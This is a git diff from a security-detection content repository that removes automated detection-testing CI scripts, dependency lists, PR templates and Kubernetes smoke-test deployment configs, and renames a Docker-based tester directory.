attack_range_repo = args.attack_range_repo - attack_range_branch = args.attack_range_branch - security_content_repo = args.security_content_repo - security_content_branch = args.security_content_branch - github_token = args.github_token - secrets_manager_key = args.secrets_manager_key - s3_bucket = args.s3_bucket - - - test_obj = {} - test_obj['technique'] = 'T1003.001' - detection_obj = {} - detection_obj['detection'] = 'Access LSASS Memory for Dump Creation' - test_obj['results'] = [detection_obj] - - # get github token - if github_token: - O_AUTH_TOKEN_GITHUB = github_token - else: - O_AUTH_TOKEN_GITHUB = get_secret(secrets_manager_key) - - # clone repositories - git.Repo.clone_from('https://github.com/' + attack_range_repo, "attack_range", branch=attack_range_branch) - security_content_repo_obj = git.Repo.clone_from('https://' + O_AUTH_TOKEN_GITHUB + ':x-oauth-basic@github.com/' + security_content_repo, "security_content", branch=security_content_branch) - - sys.path.append(os.path.join(os.getcwd(),'attack_range')) - copyfile('attack_range/attack_range.conf.template', 'attack_range/attack_range.conf') - - epoch_time = str(int(time.time())) - ssh_key_name = 'ds-key-pair-' + epoch_time - # create ssh keys - ec2 = boto3.client('ec2') - response = ec2.create_key_pair(KeyName=ssh_key_name) - with open(ssh_key_name, "w") as ssh_key: - ssh_key.write(response['KeyMaterial']) - os.chmod(ssh_key_name, 0o600) - private_key_path = str(os.getcwd() + "/" + ssh_key_name) - - # build new version of ESCU - sys.path.append(os.path.join(os.getcwd(),'security_content/bin')) - - try: - module = __import__('generate') - results = module.main(REPO_PATH = 'security_content' , OUTPUT_PATH = 'security_content/dist/escu', PRODUCT = 'ESCU', VERBOSE = 'True' ) - except Exception as e: - print('Error: ' + str(e)) - - with open('attack_range/attack_range.conf', 'r') as file : - filedata = file.read() - - filedata = filedata.replace('attack_range_password = Pl3ase-k1Ll-me:p', 'attack_range_password = I-l1ke-Attack-Range!') - filedata = filedata.replace('windows_domain_controller = 1', 'windows_domain_controller = 0') - filedata = filedata.replace('windows_server_join_domain = 1', 'windows_server_join_domain = 0') - filedata = filedata.replace('region = us-west-2', 'region = eu-central-1') - filedata = filedata.replace('key_name = attack-range-key-pair', 'key_name = ' + ssh_key_name) - filedata = filedata.replace('private_key_path = ~/.ssh/id_rsa', 'private_key_path = ' + private_key_path) - filedata = filedata.replace('update_escu_app = 0', 'update_escu_app = 1') - - with open('attack_range/attack_range.conf', 'w') as file: - file.write(filedata) - - module = __import__('attack_range') - module.sys.argv = ['attack_range', '--config', 'attack_range/attack_range.conf', 'test', '--test_file', 'security_content/tests/' + test_file_name, '--test_build_destroy'] - - execution_error = False - - try: - results = module.main(module.sys.argv) - except Exception as e: - print('Error: ' + str(e)) - module.sys.argv = ['attack_range', '--config', 'attack_range/attack_range.conf', 'destroy'] - module.main(module.sys.argv) - execution_error = True - - # delete ssh key - response = ec2.delete_key_pair(KeyName=ssh_key_name) - - # read_test_file - test_file = load_file('security_content/tests/' + test_file_name) - - # check if was succesful - if not execution_error: - - # Create GitHub PR security content - if security_content_branch == 'develop': - branch_name = "automated_detection_testing_" + epoch_time - security_content_repo_obj.git.checkout(security_content_branch, b=branch_name) - else: - branch_name = security_content_branch - security_content_repo_obj.git.checkout(security_content_branch) - - counter = 0 - for test in results: - if not test['detection_result']['error']: - file_path = 'security_content/detections/' + test['detection_result']['detection_file'] - detection_obj = load_file(file_path) - detection_obj['tags']['automated_detection_testing'] = 'passed' - if 'attack_data' in test_file['tests'][counter]: - datasets = [] - for dataset in test_file['tests'][counter]['attack_data']: - datasets.append(dataset['data']) - detection_obj['tags']['dataset'] = datasets - - with open(file_path, 'w') as f: - yaml.dump(detection_obj, f, sort_keys=False, allow_unicode=True) - - changed_file_path = 'detections/' + test['detection_result']['detection_file'] - security_content_repo_obj.index.add([changed_file_path]) - security_content_repo_obj.index.commit('Added detection testing service results in' + test['detection_result']['detection_name']) - counter = counter + 1 - - - j2_env = Environment(loader=FileSystemLoader('templates'),trim_blocks=True) # nosemgrep - template = j2_env.get_template('PR_template.j2') - body = template.render(results=results) - - security_content_repo_obj.config_writer().set_value("user", "name", "Detection Testing Service").release() - security_content_repo_obj.config_writer().set_value("user", "email", "research@splunk.com").release() - if not security_content_branch == 'develop': - security_content_repo_obj.remotes.origin.pull() - security_content_repo_obj.git.push('--set-upstream', 'origin', branch_name) - g = Github(O_AUTH_TOKEN_GITHUB) - repo = g.get_repo("splunk/security_content") - pull_requests = repo.get_pulls(state='open', sort='created', head=branch_name) - for pr in pull_requests: - if pr.head.label == str('splunk:' + branch_name): - pr.create_issue_comment(body) - exit(0) - - pr = repo.create_pull(title="Automated Detection Testing PR " + branch_name, body=body, head=branch_name, base="develop") - - -def load_file(file_path): - with open(file_path, 'r', encoding="utf-8") as stream: - try: - file = list(yaml.safe_load_all(stream))[0] - except yaml.YAMLError as exc: - print(exc) - sys.exit("ERROR: reading {0}".format(file_path)) - return file - - -def get_secret(secret_name): - - region_name = "eu-central-1" - - # Create a Secrets Manager client - session = boto3.session.Session() - client = session.client( - service_name='secretsmanager', - region_name=region_name - ) - - try: - get_secret_value_response = client.get_secret_value( - SecretId=secret_name - ) - except ClientError as e: - if e.response['Error']['Code'] == 'DecryptionFailureException': - # Secrets Manager can't decrypt the protected secret text using the provided KMS key. - # Deal with the exception here, and/or rethrow at your discretion. - raise e - elif e.response['Error']['Code'] == 'InternalServiceErrorException': - # An error occurred on the server side. - # Deal with the exception here, and/or rethrow at your discretion. - raise e - elif e.response['Error']['Code'] == 'InvalidParameterException': - # You provided an invalid value for a parameter. - # Deal with the exception here, and/or rethrow at your discretion. - raise e - elif e.response['Error']['Code'] == 'InvalidRequestException': - # You provided a parameter value that is not valid for the current state of the resource. - # Deal with the exception here, and/or rethrow at your discretion. - raise e - elif e.response['Error']['Code'] == 'ResourceNotFoundException': - # We can't find the resource that you asked for. - # Deal with the exception here, and/or rethrow at your discretion. - raise e - else: - # Decrypts secret using the associated KMS CMK. - # Depending on whether the secret is a string or binary, one of these fields will be populated. - if 'SecretString' in get_secret_value_response: - secret = get_secret_value_response['SecretString'] - secret_obj = json.loads(secret) - - return secret_obj['github_token'] - - -if __name__ == "__main__": - - main(sys.argv[1:]) diff --git a/bin/automated_detection_testing/requirements.txt b/bin/automated_detection_testing/requirements.txt deleted file mode 100644 index 07fe18e634..0000000000 --- a/bin/automated_detection_testing/requirements.txt +++ /dev/null @@ -1,83 +0,0 @@ -ansible==4.7.0 -ansible-runner==2.0.2 -apipkg==1.5 -aspy.yaml==1.3.0 -atomicwrites==1.4.0 -attackcti==0.3.4.3 -attrs==21.2.0 -azure-common==1.1.27 -azure-core==1.18.0 - -azure-mgmt-compute==23.0.0 -azure-identity==1.6.1 -azure-mgmt-core==1.2.1 -azure-mgmt-network==19.0.0 -azure-mgmt-resource==17.0.0 -bcrypt==3.2.0 -boto3==1.18.38 -botocore==1.22.5 -certifi==2021.5.30 -cffi==1.15.0 -cfgv==3.3.0 -chardet==4.0.0 -colorama==0.4.4 -configparser==5.0.2 -contextlib2==0.6.0.post1 -Deprecated==1.2.13 -dnspython==2.1.0 -docutils==0.18 -execnet==1.9.0 -gitdb==4.0.5 -GitPython==3.1.24 -identify==2.2.10 -idna==3.3 -importlib-metadata==4.0.1 -Jinja2==3.0.2 -jmespath==0.10.0 -lockfile==0.12.2 -MarkupSafe==2.0.1 -mock==4.0.3 -more-itertools==8.9.0 -nodeenv==1.6.0 -mysql-connector-python==8.0.26 -ntlm-auth==1.5.0 -packaging==21.0 -path==15.1.2 -path.py==12.5.0 -pexpect==4.8.0 -pluggy==0.13.1 -pre-commit==2.15.0 -protobuf==3.18.1 -psutil==5.8.0 -ptyprocess==0.7.0 -py==1.10.0 -pycparser==2.20 -PyGithub==1.55 -PyInquirer==1.0.3 -PyJWT==2.1.0 -PyNaCl==1.4.0 -pyparsing==2.4.7 -pyperclip==1.8.2 -pytest==6.2.5 -python-daemon==2.3.0 -python-dateutil==2.8.1 -python-terraform==0.10.1 -pywinrm==0.4.2 -PyYAML==6.0 -requests==2.25.1 -requests-ntlm==1.1.0 -s3transfer==0.5.0 -six==1.16.0 -smmap==3.0.5 -splunk-sdk==1.6.16 -tabulate==0.8.9 -termcolor==1.1.0 -toml==0.10.2 -urllib3<1.26.8 -virtualenv==20.9.0 -wcwidth==0.2.5 -wget==3.2 -wrapt==1.13.1 -xmltodict==0.12.0 -zipp==3.4.1 - diff --git a/bin/automated_detection_testing/templates/PR_template.j2 b/bin/automated_detection_testing/templates/PR_template.j2 deleted file mode 100644 index 64c94ddd82..0000000000 --- a/bin/automated_detection_testing/templates/PR_template.j2 +++ /dev/null @@ -1,12 +0,0 @@ -This PR was created by Automated Detection Testing Service :robot: - -Tested detections: - -{% for result in results %} -{{ result.detection_result.detection_name }} {% if result.detection_result.error == 0 %}:white_check_mark:{% else %}:x:{% endif %} - -- diskUsage: {{ result.detection_result.diskUsage }} -- runDuration: {{ result.detection_result.runDuration }}s -- scanCount: {{ result.detection_result.scanCount }} - -{% endfor %} diff --git a/bin/automated_detection_testing/templates/PR_template_attack_data.j2 b/bin/automated_detection_testing/templates/PR_template_attack_data.j2 deleted file mode 100644 index 70da5b9665..0000000000 --- a/bin/automated_detection_testing/templates/PR_template_attack_data.j2 +++ /dev/null @@ -1,3 +0,0 @@ -This PR was created by Automated Detection Testing Service :robot: - -Please review the dataset.yml and add your data. diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/Dockerfile b/bin/docker_detection_tester/Dockerfile similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/Dockerfile rename to bin/docker_detection_tester/Dockerfile diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/README.md b/bin/docker_detection_tester/README.md similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/README.md rename to bin/docker_detection_tester/README.md diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/ansible/attack_replay.yml b/bin/docker_detection_tester/ansible/attack_replay.yml similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/ansible/attack_replay.yml rename to bin/docker_detection_tester/ansible/attack_replay.yml diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/ansible/roles/attack_replay/tasks/main.yml b/bin/docker_detection_tester/ansible/roles/attack_replay/tasks/main.yml similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/ansible/roles/attack_replay/tasks/main.yml rename to bin/docker_detection_tester/ansible/roles/attack_replay/tasks/main.yml diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/ansible/roles/update_escu/tasks/main.yml b/bin/docker_detection_tester/ansible/roles/update_escu/tasks/main.yml similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/ansible/roles/update_escu/tasks/main.yml rename to bin/docker_detection_tester/ansible/roles/update_escu/tasks/main.yml diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/ansible/update_escu.yml b/bin/docker_detection_tester/ansible/update_escu.yml similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/ansible/update_escu.yml rename to bin/docker_detection_tester/ansible/update_escu.yml diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/authorize.conf.tar b/bin/docker_detection_tester/authorize.conf.tar similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/authorize.conf.tar rename to bin/docker_detection_tester/authorize.conf.tar diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/datamodels.conf.tar b/bin/docker_detection_tester/datamodels.conf.tar similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/datamodels.conf.tar rename to bin/docker_detection_tester/datamodels.conf.tar diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/detection_testing_execution.py b/bin/docker_detection_tester/detection_testing_execution.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/detection_testing_execution.py rename to bin/docker_detection_tester/detection_testing_execution.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/indexes.conf.tar b/bin/docker_detection_tester/indexes.conf.tar similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/indexes.conf.tar rename to bin/docker_detection_tester/indexes.conf.tar diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/DataManipulation.py b/bin/docker_detection_tester/modules/DataManipulation.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/DataManipulation.py rename to bin/docker_detection_tester/modules/DataManipulation.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/__init__.py b/bin/docker_detection_tester/modules/__init__.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/__init__.py rename to bin/docker_detection_tester/modules/__init__.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/container_manager.py b/bin/docker_detection_tester/modules/container_manager.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/container_manager.py rename to bin/docker_detection_tester/modules/container_manager.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/github_service.py b/bin/docker_detection_tester/modules/github_service.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/github_service.py rename to bin/docker_detection_tester/modules/github_service.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/jsonschema_errorprinter.py b/bin/docker_detection_tester/modules/jsonschema_errorprinter.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/jsonschema_errorprinter.py rename to bin/docker_detection_tester/modules/jsonschema_errorprinter.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/new_arguments2.py b/bin/docker_detection_tester/modules/new_arguments2.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/new_arguments2.py rename to bin/docker_detection_tester/modules/new_arguments2.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/splunk_container.py b/bin/docker_detection_tester/modules/splunk_container.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/splunk_container.py rename to bin/docker_detection_tester/modules/splunk_container.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/splunk_sdk.py b/bin/docker_detection_tester/modules/splunk_sdk.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/splunk_sdk.py rename to bin/docker_detection_tester/modules/splunk_sdk.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/test_driver.py b/bin/docker_detection_tester/modules/test_driver.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/test_driver.py rename to bin/docker_detection_tester/modules/test_driver.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/testing_service.py b/bin/docker_detection_tester/modules/testing_service.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/testing_service.py rename to bin/docker_detection_tester/modules/testing_service.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/tmp/tstats_endpoint_processes b/bin/docker_detection_tester/modules/tmp/tstats_endpoint_processes similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/tmp/tstats_endpoint_processes rename to bin/docker_detection_tester/modules/tmp/tstats_endpoint_processes diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/modules/validate_args.py b/bin/docker_detection_tester/modules/validate_args.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/modules/validate_args.py rename to bin/docker_detection_tester/modules/validate_args.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/new_arguments.py b/bin/docker_detection_tester/new_arguments.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/new_arguments.py rename to bin/docker_detection_tester/new_arguments.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/requirements.txt b/bin/docker_detection_tester/requirements.txt similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/requirements.txt rename to bin/docker_detection_tester/requirements.txt diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/summarize_json.py b/bin/docker_detection_tester/summarize_json.py similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/summarize_json.py rename to bin/docker_detection_tester/summarize_json.py diff --git a/bin/automated_detection_testing/ci/detection_testing_batch/test_config_github_actions.json b/bin/docker_detection_tester/test_config_github_actions.json similarity index 100% rename from bin/automated_detection_testing/ci/detection_testing_batch/test_config_github_actions.json rename to bin/docker_detection_tester/test_config_github_actions.json diff --git a/bin/ssa-end-to-end-testing/Dockerfile b/bin/ssa-end-to-end-testing/Dockerfile deleted file mode 100644 index 508847e6fe..0000000000 --- a/bin/ssa-end-to-end-testing/Dockerfile +++ /dev/null @@ -1,11 +0,0 @@ -FROM docker.repo.splunkdev.net/ci-cd/ci-container:python-3.7-buster - -RUN apt-get update -RUN apt-get install -y python3-dev git python-dev unzip python3-pip -RUN apt-get install -y python-gitdb - -WORKDIR /app -RUN pip3 install -r requirements.txt - -ENTRYPOINT ["python3", "detection_service.py"] -CMD ["-tfn", "T1003_002"] diff --git a/bin/ssa-end-to-end-testing/README.md b/bin/ssa-end-to-end-testing/README.md deleted file mode 100644 index c291ff7df5..0000000000 --- a/bin/ssa-end-to-end-testing/README.md +++ /dev/null @@ -1,28 +0,0 @@ -# SSA Testing -The SSA testing job will test SSA detections with the staging tenant research. It will execute the following steps to test SSA detections: -* Create a temporary index for results -* Create a temporary pipeline and decorate it -* Activate a temporary pipeline -* Send raw data to the testing tenant -* Collect the results from the temporary index -* Tear down the test - -# SSA Testing GitLab CI -SSA testing job is configured as a GitLAB CI job, which will test all changed and newly created SSA detections in the given branch compared to the develop branch. For example, if you create two new SSA detections with its corrsponding test files, it will test these two SSA detections in the GitLab CI job. It can take up to 30 min until the GitLab CI job will start. -The GitLab CI job is limited to branches with the prefix ssa*, therefore you need to name your branch ssa* in order to make the GitLab CI job work. - -# SSA Testing Manual -Additional to the GitLab CI testing, you can do ad-hoc testing during SSA detection development. First you need, to prepare your virtualenv: -```` -cd bin/ssa-end-to-end-testing -virtualenv -p python3 venv && source venv/bin/activate && pip3 install -r requirements.txt -```` -Then you can run the SSA detection test (please consider that your detections needs to be pushed to the GitHub repository): -```` -python run_ssa_smoketest.py -e staging -s research -b [your_branch] -t [your_token] -```` -The token can be derived from the SSA tenant. -In order to only test a single detection, you can run the following command: -```` -python run_ssa_smoketest.py -e staging -s research -b [your_branch] -tf endpoint/ssa___detect_pass_hash.test.yml -t [your_token] -```` \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/conftest.py b/bin/ssa-end-to-end-testing/conftest.py deleted file mode 100644 index be1bad9eb5..0000000000 --- a/bin/ssa-end-to-end-testing/conftest.py +++ /dev/null @@ -1,18 +0,0 @@ - -def pytest_addoption(parser): - parser.addoption("--token", action="store", default="scs token") - parser.addoption("--env", action="store", default="scs environment") - parser.addoption("--tenant", action="store", default="environment's tenant") - -def pytest_generate_tests(metafunc): - # This is called for every test. Only get/set command line arguments - # if the argument is specified in the list of test "fixturenames". - option_value = metafunc.config.option.token - if 'token' in metafunc.fixturenames and option_value is not None: - metafunc.parametrize("token", [option_value]) - env = metafunc.config.option.env - if 'tenant' in metafunc.fixturenames and env is not None: - metafunc.parametrize("env", [env]) - tenant = metafunc.config.option.tenant - if 'tenant' in metafunc.fixturenames and tenant is not None: - metafunc.parametrize("tenant", [tenant]) diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/Dockerfile b/bin/ssa-end-to-end-testing/k8s-deployer/Dockerfile deleted file mode 100644 index 5b15e6b3dc..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/Dockerfile +++ /dev/null @@ -1,30 +0,0 @@ -FROM docker.repo.splunkdev.net/ci-cd/ci-container:debian-buster - -ARG SRCBRANCH=develop -ARG SCSENV=app_play1 - -ARG KUBECTL_VERSION=v1.10.9 - -ENV QBEC_VERSION 0.12.1 -ENV QBEC_SHA 6fbec2c33ff15c603585a22c100aa839461680cf775a1f90336078bf79c6a42f - -ENV SRCBRANCH=${SRCBRANCH} -ENV SCSENV=${SCSENV} - -RUN mkdir /deployer && \ - apt-get update && \ - apt-get install -y bash tar curl && \ - # Install kubetctl - curl -L https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/amd64/kubectl -o /usr/local/bin/kubectl && \ - chmod +x /usr/local/bin/kubectl && \ - # Install qbec - curl -L -O https://github.com/splunk/qbec/releases/download/v${QBEC_VERSION}/qbec-linux-amd64.tar.gz && \ - echo "${QBEC_SHA} qbec-linux-amd64.tar.gz" | sha256sum -c && \ - tar -xzf qbec-linux-amd64.tar.gz -C /usr/local/bin qbec && rm -rf qbec-linux-amd64.tar.gz - -COPY k8s /deployer/k8s - -RUN chmod +x /deployer/k8s/deployer.sh -RUN chmod +x /deployer/k8s/check_deploy_status.sh - -WORKDIR /deployer/k8s \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/check_deploy_status.sh b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/check_deploy_status.sh deleted file mode 100644 index 581ce4f268..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/check_deploy_status.sh +++ /dev/null @@ -1,60 +0,0 @@ -#!/bin/bash - -set -o pipefail -set -o nounset - -set -o errexit -#This script is used to check the status of the smoketest k8s job: the tests pass if {.status.succeeded} returns 1. -# Then retrieve the job logs once it's completed. -smoketest_k8s_job=$(kubectl get jobs -o json | jq -r --arg JOBID "${CI_JOB_ID}" '.items[] | select(.kind=="Job") | select(.metadata.labels.ciJobId==$JOBID) | .metadata.name') -echo >&2 "Create smoketest k8s job: $smoketest_k8s_job" -smoketest_k8s_pod=$(kubectl get pods -o custom-columns=:metadata.name | grep ${smoketest_k8s_job}) -echo >&2 "Create smoketest k8s pod: $smoketest_k8s_pod" -echo >&2 "Checking if smoketest starts running..." -set +o errexit - -#Wait for job ready to run as background process, returns 1 if smoketest job still in Pod Initializing stage. -#Will exit if the pod is not up after 5 minutes(max_retries = 30) -job_running=1 -counter=1 -MAX_RETRIES=30 - -while [[ $job_running -ne 0 ]] && [[ $counter -le $MAX_RETRIES ]]; do - kubectl wait --for=condition=ready pod/${smoketest_k8s_pod} --timeout=10s - job_running=$? - echo >&2 "Checking if smoketest job starts running (return 0 if the job is ready to run):" $job_running - ((counter++)) - if [[ $counter -eq $MAX_RETRIES ]]; then - kubectl get pods - echo "Smoke test pod is not up after 5 minutes. Will exit." - exit 1 - fi -done - -set -o errexit -kubectl logs -f ${smoketest_k8s_pod} -echo >&2 "Complete retrieving smoketest job logs." - - -#Add more loggings to capture more info for k8s error that happens sporadically -set +o errexit -echo >&2 "Printing command: kubectl get job/${smoketest_k8s_job}" -echo >&2 "$(kubectl get job/${smoketest_k8s_job})" -echo >&2 "$(kubectl get job/${smoketest_k8s_job} -o jsonpath='{.status}')" - -echo >&2 "Printing command with extra space: kubectl get job/${smoketest_k8s_job} " -echo >&2 "$(kubectl get job/${smoketest_k8s_job} )" -echo >&2 "$(kubectl get job/${smoketest_k8s_job} -o jsonpath='{.status}')" - -echo >&2 "Printing command kubectl get jobs ${smoketest_k8s_job} -o jsonpath='{.status}'" -echo >&2 "$(kubectl get jobs ${smoketest_k8s_job} -o jsonpath='{.status}')" -echo >&2 "*****End of logging for k8s error debugging *****" -set -o errexit - - -SUCCESS=$(kubectl get job/${smoketest_k8s_job} -o jsonpath='{.status.succeeded}') -if [[ $SUCCESS -ne 1 ]]; then - echo "Smoke test failed. Please refer to the test logs." - exit 1 -fi -echo "All smoke tests passed!" \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/components/service-account.jsonnet b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/components/service-account.jsonnet deleted file mode 100644 index a580f149a4..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/components/service-account.jsonnet +++ /dev/null @@ -1,12 +0,0 @@ - -local params = import '../params.libsonnet'; - -[ - { - apiVersion: 'v1', - kind: 'ServiceAccount', - metadata: { - name: params.components.serviceAccountName, - }, - }, -] diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/components/smoketest.jsonnet b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/components/smoketest.jsonnet deleted file mode 100644 index 9cfd67317f..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/components/smoketest.jsonnet +++ /dev/null @@ -1,73 +0,0 @@ - -local params = import '../params.libsonnet'; - -local job = { - apiVersion: 'batch/v1', - kind: 'Job', - metadata: { - generateName: 'ssa-smoketest-', - labels: { - name: 'ssa-smoketest', - uploaderLabel: std.extVar('CI_COMMIT_SHORT_SHA'), - ciJobId: std.extVar('CI_JOB_ID'), - }, - }, - spec: { - activeDeadlineSeconds: 36000, - ttlSecondsAfterFinished: 100, - template: { - metadata: { - annotations: { - 'splunk8s.io.vault/init-container': 'true', - }, - }, - spec: { - serviceAccountName: params.components.serviceAccountName, - restartPolicy: 'Never', - containers: [ - { - name: 'ssa-smoke-test', - image: std.extVar('SMOKETEST_RUNNER_IMAGE'), - imagePullPolicy: 'Always', - env: [ - { - "name": 'SRCBRANCH', - "value": std.extVar('SRCBRANCH') - }, - { - "name": 'SMOKETEST_VAULT_READ_PATH', - "value": params.components.vaultReadPath - }, - { - "name": 'DSP_ENV', - "value": params.components.dspEnv - }, - { - "name": 'TENANT', - "value": params.components.tenant - }, - { - "name": 'ENV', - "value": std.extVar('qbec.io/env') - }, - ], - resources: { - limits: { - cpu: '1', - memory: '1000Mi' - }, - requests: { - cpu: '800m', - memory: '750Mi' - }, - }, - command: ['/bin/bash', '-c'], - args: ['./run_ssa_smoketest_helper.sh'], - }, - ], - }, - }, - }, - }; - -job diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/deployer.sh b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/deployer.sh deleted file mode 100644 index 9fb36454d2..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/deployer.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -qbec --yes apply $SCSENV --vm:ext-str SRCBRANCH --vm:ext-str CI_COMMIT_SHORT_SHA --vm:ext-str CI_JOB_ID --vm:ext-str SMOKETEST_RUNNER_IMAGE -c service-account -c smoketest --wait diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/base.libsonnet b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/base.libsonnet deleted file mode 100644 index d04396c071..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/base.libsonnet +++ /dev/null @@ -1,7 +0,0 @@ - -// this file has the baseline default parameters -{ - components: { - serviceAccountName: "sa-tr" - }, -} diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/smoke-test-gstaging.libsonnet b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/smoke-test-gstaging.libsonnet deleted file mode 100644 index f48ad86f6d..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/smoke-test-gstaging.libsonnet +++ /dev/null @@ -1,12 +0,0 @@ - -// this file has the param overrides for the default environment -local base = import './base.libsonnet'; - -base { - components +: { - serviceAccountName: "sa-tr-staging", - vaultReadPath: 'scpauth-kube-wicket-iad10/token/threat-research-test.app-gstage1', - tenant: 'research', - dspEnv: 'staging', - } -} diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/smoke-test-playground.libsonnet b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/smoke-test-playground.libsonnet deleted file mode 100644 index c504a5c2e2..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/environments/smoke-test-playground.libsonnet +++ /dev/null @@ -1,12 +0,0 @@ - -// this file has the param overrides for the default environment -local base = import './base.libsonnet'; - -base { - components +: { - serviceAccountName: "sa-tr-playground", - vaultReadPath: 'scpauth-app-play1/token/threat-research-test.app-play1', - tenant: 'research2', - dspEnv: 'playground', - } -} diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/params.libsonnet b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/params.libsonnet deleted file mode 100644 index 8351e4ba9b..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/params.libsonnet +++ /dev/null @@ -1,13 +0,0 @@ - -// this file returns the params for the current qbec environment -// you need to add an entry here every time you add a new environment. - -local env = std.extVar('qbec.io/env'); -local paramsMap = { - _: import './environments/base.libsonnet', - app_play1: import './environments/smoke-test-playground.libsonnet', - app_gstaging1: import './environments/smoke-test-gstaging.libsonnet', -}; - -if std.objectHas(paramsMap, env) then paramsMap[env] else error 'environment ' + env + ' not defined in ' + std.thisFile - diff --git a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/qbec.yaml b/bin/ssa-end-to-end-testing/k8s-deployer/k8s/qbec.yaml deleted file mode 100644 index a949e35e32..0000000000 --- a/bin/ssa-end-to-end-testing/k8s-deployer/k8s/qbec.yaml +++ /dev/null @@ -1,20 +0,0 @@ -apiVersion: qbec.io/v1alpha1 -kind: App -metadata: - name: security-content-stream-smoke-test -spec: - environments: - app_play1: - defaultNamespace: threat-research - server: https://internal.api.app-play1.dev.us-west-2.splunk8s.io - app_gstaging1: - defaultNamespace: tr-st-deploy - server: https://internal.api.kube-wicket-iad10.stage.splunk8s.io - vars: - external: - - name: SCBRANCH - default: develop - secret: false - - name: SMOKE_TEST - default: test - secret: false diff --git a/bin/ssa-end-to-end-testing/modules/__init__.py b/bin/ssa-end-to-end-testing/modules/__init__.py deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/bin/ssa-end-to-end-testing/modules/assertions/__init__.py b/bin/ssa-end-to-end-testing/modules/assertions/__init__.py deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/bin/ssa-end-to-end-testing/modules/assertions/application/assertions.py b/bin/ssa-end-to-end-testing/modules/assertions/application/assertions.py deleted file mode 100644 index 90f51b949f..0000000000 